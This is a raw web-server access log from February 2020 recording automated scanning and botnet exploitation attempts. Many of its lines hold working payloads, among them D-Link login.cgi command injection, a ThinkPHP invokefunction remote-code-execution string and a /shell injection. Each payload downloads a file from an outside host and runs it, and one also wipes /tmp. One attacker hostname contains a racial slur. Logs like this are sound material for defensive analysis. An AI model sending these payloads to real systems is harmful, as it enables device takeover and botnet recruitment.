193.112.246.211 - - [16/Feb/2020:03:14:37 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:37 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:38 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:38 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:39 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:41 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:41 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:42 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:43 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:43 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:45 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:45 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:46 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:46 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:48 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:49 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:49 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:50 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:50 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:53 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:53 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:14:54 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
220.116.93.35 - - [16/Feb/2020:03:17:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:03:17:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:03:17:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:03:17:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:03:17:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.20.70.178 - - [16/Feb/2020:03:23:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.70.194.229 - - [16/Feb/2020:03:25:34 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
120.78.184.189 - - [16/Feb/2020:03:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
117.239.149.94 - - [16/Feb/2020:03:31:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:51 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [16/Feb/2020:03:31:51 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
188.234.48.7 - - [16/Feb/2020:03:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
51.235.194.37 - - [16/Feb/2020:03:37:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
85.158.37.134 - - [16/Feb/2020:03:41:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.219.218.210 - - [16/Feb/2020:03:42:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
115.50.41.146 - - [16/Feb/2020:03:44:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
45.181.48.170 - - [16/Feb/2020:03:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
64.82.155.189 - - [16/Feb/2020:03:46:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
172.105.11.111 - - [16/Feb/2020:03:49:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
109.229.197.177 - - [16/Feb/2020:03:52:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.225.33.106 - - [16/Feb/2020:03:55:44 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
45.171.210.222 - - [16/Feb/2020:03:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
172.105.11.111 - - [16/Feb/2020:04:04:16 +0100] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0"
172.105.11.111 - - [16/Feb/2020:04:04:16 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330"
172.105.11.111 - - [16/Feb/2020:04:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "\"Mozilla/5.0"
173.30.13.164 - - [16/Feb/2020:04:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
189.39.244.173 - - [16/Feb/2020:04:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
36.234.76.159 - - [16/Feb/2020:04:13:10 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
103.244.64.50 - - [16/Feb/2020:04:13:29 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:30 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:30 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:31 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:31 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:32 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:32 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:33 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [16/Feb/2020:04:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
220.130.21.230 - - [16/Feb/2020:04:13:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.101.15.5 - - [16/Feb/2020:04:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.50.254.170 - - [16/Feb/2020:04:33:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
95.5.40.117 - - [16/Feb/2020:04:37:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
221.120.43.185 - - [16/Feb/2020:04:39:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
122.15.156.142 - - [16/Feb/2020:04:47:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
5.48.235.1 - - [16/Feb/2020:04:48:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
211.177.109.157 - - [16/Feb/2020:04:55:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.132.132.3 - - [16/Feb/2020:04:58:05 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
66.36.140.100 - - [16/Feb/2020:04:58:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [16/Feb/2020:05:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
200.117.160.29 - - [16/Feb/2020:05:02:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
111.230.245.235 - - [16/Feb/2020:05:10:32 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.230.245.235 - - [16/Feb/2020:05:10:34 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.230.245.235 - - [16/Feb/2020:05:10:35 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.230.245.235 - - [16/Feb/2020:05:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
128.14.134.134 - - [16/Feb/2020:05:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
91.244.98.68 - - [16/Feb/2020:05:16:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.173.103.227 - - [16/Feb/2020:05:17:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.216.96.170 - - [16/Feb/2020:05:18:40 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.170 - - [16/Feb/2020:05:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
103.138.136.112 - - [16/Feb/2020:05:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.139.187.145 - - [16/Feb/2020:05:21:22 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
84.56.190.184 - - [16/Feb/2020:05:23:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.56.190.184 - - [16/Feb/2020:05:23:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.56.190.184 - - [16/Feb/2020:05:23:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.56.190.184 - - [16/Feb/2020:05:23:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.56.190.184 - - [16/Feb/2020:05:24:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.56.190.184 - - [16/Feb/2020:05:24:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.56.190.184 - - [16/Feb/2020:05:25:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.111.122.12 - - [16/Feb/2020:05:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.254.170.19 - - [16/Feb/2020:05:27:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.117.0.220 - - [16/Feb/2020:05:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.230.133.76 - - [16/Feb/2020:05:31:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
111.254.14.31 - - [16/Feb/2020:05:34:30 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
2.183.83.227 - - [16/Feb/2020:05:35:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.202.76.0 - - [16/Feb/2020:05:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
119.142.220.76 - - [16/Feb/2020:05:40:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.68.246.198 - - [16/Feb/2020:05:42:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
203.76.112.68 - - [16/Feb/2020:05:42:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
125.47.44.86 - - [16/Feb/2020:05:47:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.237.205.209 - - [16/Feb/2020:05:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.254.59.210 - - [16/Feb/2020:05:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
114.25.216.71 - - [16/Feb/2020:05:54:53 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
46.0.207.52 - - [16/Feb/2020:05:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
171.100.12.210 - - [16/Feb/2020:06:00:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
115.50.41.146 - - [16/Feb/2020:06:07:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
139.162.106.181 - - [16/Feb/2020:06:09:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
94.122.9.248 - - [16/Feb/2020:06:14:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.186.137.112 - - [16/Feb/2020:06:15:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
201.131.236.166 - - [16/Feb/2020:06:17:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
49.68.246.198 - - [16/Feb/2020:06:23:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
121.180.208.154 - - [16/Feb/2020:06:31:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
181.166.178.137 - - [16/Feb/2020:06:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
181.166.178.137 - - [16/Feb/2020:06:31:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.180.208.154 - - [16/Feb/2020:06:31:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [16/Feb/2020:06:31:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [16/Feb/2020:06:31:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
